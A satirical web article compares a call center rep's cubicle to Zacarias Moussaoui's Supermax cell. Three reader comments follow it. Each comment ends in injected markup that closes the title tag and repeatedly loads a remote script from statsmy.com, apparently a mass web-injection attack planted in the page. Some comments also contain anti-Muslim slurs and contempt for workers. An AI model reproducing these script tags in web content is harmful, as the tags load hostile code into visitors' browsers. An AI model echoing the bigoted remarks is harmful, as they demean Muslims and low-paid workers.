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Call Center Employee Laughs Off Zacarias Moussaoui Supermax Sentence
by Mark on 5/4/2006 (3)

Overhead view of the Quickyrates Insurance high security call center floor plan. Call center officials promise "Once they sit down, it would take a hurricane or an Act of Congress to stand them up again."
KANKAKEE, IL - Quickyrates insurance call center phone rep Tommy Schmales laughed off the recent jury verdict to imprison Al-Qaeda terrorist Zacarias Moussaoui in a 7 x 14 foot concrete high security cell at the notorious "Supermax" security prison in Colorado. Schmales explains.

"Pshaw! I've spent the last 7 years of my life in an odiferous, puke-rank, 4 x 6 foot cubicle, with no unauthorized Internet access, no food or snacks, no drinks, in complete isolation from my fellow employees, and a warden like boss who monitors every phone call I make like an FBI agent to boot. Moussaoui doesn't have it so tough, so stop whining! I only get a 15 minute smoke break after 8 hours, and I had to work here for a year just to be eligible for that! At least Moussaoui doesn't have to sit in a grimy fabric and metal cube with a groady, cootie-ridden headset on and argue with 90 year old hard-of-hearing car insurance customers who shouldn't be making phone calls, let alone driving in the first place! If you sent me to Supermax tomorrow, I'd never even notice it. Hell, I'd even take the improvement!

Schmales was not alone.

Many Americans today find themselves in low paying, highly controlled work environments with virtually no freedoms, incessant monitoring by troops of micro-managers, computer synchronised time clocks, security cameras and snoopy IT personnel. The effects of working under such conditions are often the same as solitary confinement, with a gradual mental and physical apathy seizing the unlucky inhabitant, reducing free will and optimism to mush, as the non descript, tortuous existence rots body, mind and soul in an intractable marsh of repetitive routine, eventually reducing even the toughest inmates into a wasted mass of quivering jelly.

"If they want to punish Zacarias Moussaoui, they should have given him a job here. Woulda save the taxpayer 50 grand a year. Die-hard Muslim, my ass. Six years here, the guy would be singing jingle bells with the best of us! Plus, he woulda made great management material to boot!"

In fact, many students of law enforcement are pondering the possibility of using call centers as low cost prisons, adding "If you spend 24 days a month in a 4 X 6 moldy shoe with nothing but a picture of your wife and kids on the wall, you're in prison, Johnny Cash, you are in prison!


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Comments

1. by call center owner on 3/1/2007 4:52:29 PM
Sorry guys, no sympathy. Isolating the lazy, dog-romancing employees is the only way to ensure that the completes per hour average is anywhere near break even. We lost money on our last project because of poor call center operators. If they can't do the cages, don't collect the wages. And no way would I even think of hiring a muslum...imagine one of them having a bad day and going on a jihad.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Motz on 3/1/2007 4:52:29 PM
I worked in a call center for 10 months, so this story is based on factual experience (mine). The problem is turnover and low pay. The work is so horrible for ten bucks an hour (if you are lucky), as so demeaning, everyone quits, or at least the good ones do. What you have leftover is 300 lb. single high school ed level house fraus, and high school kids. My advice is to pay more, and attract better people, and they will stick. Its a cause effect matter. You pay crap, you get crappy people, and hence crappy results.m </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Motz on 3/1/2007 4:52:29 PM
Oh yeah, ever hear of BENEFITS? Oh yeah, thats right. Have them sign a "dismissal at will" document, and screw health insurance. Cuts costs, and prevents lawsuits and paying unemplyment claims. If they get sick and miss more than 1 day in a row, just fire their fat lazy asses and start over. Nice.tp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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